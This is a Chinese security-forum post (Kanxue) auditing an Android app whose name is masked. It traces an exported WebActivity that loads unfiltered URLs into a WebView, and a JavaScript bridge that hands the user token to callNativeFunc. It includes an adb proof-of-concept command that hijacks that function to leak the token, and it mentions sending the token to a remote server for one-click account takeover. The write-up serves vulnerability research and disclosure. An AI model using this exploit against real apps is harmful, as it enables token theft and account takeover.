首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Android安全
发新帖
0
5
[原创]【代码审计】客户端代码执行之WebView JavaScript桥接劫持token账号接管
发表于: 2026-5-22 15:21
1889
[原创]【代码审计】客户端代码执行之WebView JavaScript桥接劫持token账号接管
差不多的张三
2026-5-22 15:21
1889
“ 道也梦中来,青居心上请。 觉时花未央,剑罢孤楼影。——《我有一身被动技》 ” # 01操作步骤 1、WebActivity可导出  ``` <activity android:name="com.xxx.community.ui.web.WebActivity" android:exported="true" android:configChanges="screenSize|orientation|keyboardHidden"/> ``` 2、查看com.xxx.web.WebActivity,入口initView(),传参没有过滤直接赋值给this.webUrl 如果是app://,走内部业务跳转, 否则调用createAgentWeb().ready().go(this.webUrl);  ``` String stringExtra = getIntent().getStringExtra(ProviderConstant.WEB_URL); this.webUrl = stringExtra; .setOpenOtherPageWays(DefaultWebClient.OpenOtherPageWays.ASK).interceptUnkownUrl().createAgentWeb().ready().go(this.webUrl); ``` 3、从go()一步步跟到UrlLoaderImpl()  ``` UrlLoaderImpl(WebView webView, HttpHeaders httpHeaders) { this.mHandler = null; this.mWebView = webView; this.mHttpHeaders = httpHeaders; if (httpHeaders == null) { this.mHttpHeaders = HttpHeaders.create(); } this.mHandler = new Handler(Looper.getMainLooper()); } ``` 4、str没有过滤,最终传参到WebView.loadUrl(str)直接执行  ``` if (map == null || map.isEmpty()) { this.mWebView.loadUrl(str); } ``` 5、继续分析,发现注册了AndroidInterface作为JavaScript桥接  ``` JsInterfaceHolder jsInterfaceHolder = agentWeb2.getJsInterfaceHolder(); AgentWeb agentWeb3 = this.mAgentWeb; if (agentWeb3 == null) { Intrinsics.throwUninitializedPropertyAccessException("mAgentWeb"); agentWeb3 = null; } jsInterfaceHolder.addJavaObject(DispatchConstants.ANDROID, new AndroidInterface(agentWeb3, this)); ``` 6、进到AndroidInterface类,发现callNativeFunc方法 callNativeFunc是Android原生提供给WebView,可以被JavaScript调用的方法  ``` public void callNativeFunc(final String str) { this.deliver.post(new Runnable() { // from class: com.xxx.web.AndroidInterface.1 @Override // java.lang.Runnable public void run() { Log.i("Info", "main Thread:" + Thread.currentThread()); Toast.makeText(StubApp.getOrigApplicationContext(AndroidInterface.this.context.getApplicationContext()), "" + str, 1).show(); } }); Log.i("Info", "Thread:" + Thread.currentThread()); } ``` 7、agentWeb.getJsAccessEntrace()分析 agentWeb,AgentWeb实例,封装了WebView .getJsAccessEntrace(),获取JavaScript访问入口对象,用于原生代码调用JavaScript quickCallJs()第一个参数callNativeFunc(),第二个参数接收函数返回值 第三个参数CommonUtilsKt.getToken()获取token  ``` agentWeb.getJsAccessEntrace().quickCallJs("callNativeFunc", new ValueCallback() { // from class: @Override // android.webkit.ValueCallback public final void onReceiveValue(Object obj) { WebActivity.m122initView$lambda0((String) obj); } }, CommonUtilsKt.getToken()); ``` 8、进到getToken(),获取MMKV默认实例,从存储中读取key为"token"的字符串值  ``` public static final String getToken() { String strDecodeString = MMKV.defaultMMKV().decodeString("token"); return strDecodeString == null ? "" : strDecodeString; } ``` 9、构造poc,当原生代码调用callNativeFunc(token)时,实际上执行的是alert(token) ``` adb shell am start -W -n com.xxx/com.xxx.web.WebActivity --es web_url "javascript:window.callNativeFunc=alert" ```  10、成功获取token,由于存在社区功能,可以发帖,fetch到远程服务器上,1click账号接管  11、与实际请求token进行对比一致 
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
最后于
2026-5-22 22:23 被差不多的张三编辑 ,原因:
#漏洞相关
收藏
・
0
点赞
・
5
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
mb_hsscwjpz
感谢你的积极参与,期待更多精彩内容!
2026-7-9 14:29
P1umH0
感谢你的贡献,论坛因你而更加精彩!
2026-6-5 11:39
马来
非常支持你的观点!
2026-6-4 10:01
呼吸24K纯氧
感谢你的积极参与,期待更多精彩内容!
2026-6-4 09:52
Cure.
为你点赞!
2026-6-3 16:33
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
2
)
Cure.
雪 币:
60
活跃值:
(155)
能力值:
( LV2,RANK:10 )
在线值:
发帖
1
回帖
40
粉丝
2
关注
私信
Cure.
2
楼
又是个高危
2026-6-3 16:34
0
呼吸24K纯氧
雪 币:
28
活跃值:
(1701)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
89
粉丝
2
关注
私信
呼吸24K纯氧
3
楼
感谢分享
2026-6-4 09:53
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
差不多的张三
19
发帖
13
回帖
0
RANK
关注
私信
他的文章
[原创]【银行逆向百例】18Android逆向之libDexHelper.so梆梆加固壳解密 frida-dexdump脱壳
5271
[原创]【代码审计】客户端代码执行之WebView JavaScript桥接劫持token账号接管
1889
[原创]【银行逆向百例】17Android逆向之libDexHelper梆梆加固frida检测绕过
4489
[原创]【银行逆向百例】16Android逆向之算法助手 frida绕过环境检测分析加密算法
2007
[原创]【银行逆向百例】15小程序逆向之支付宝提取data文件为tar格式
2435
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部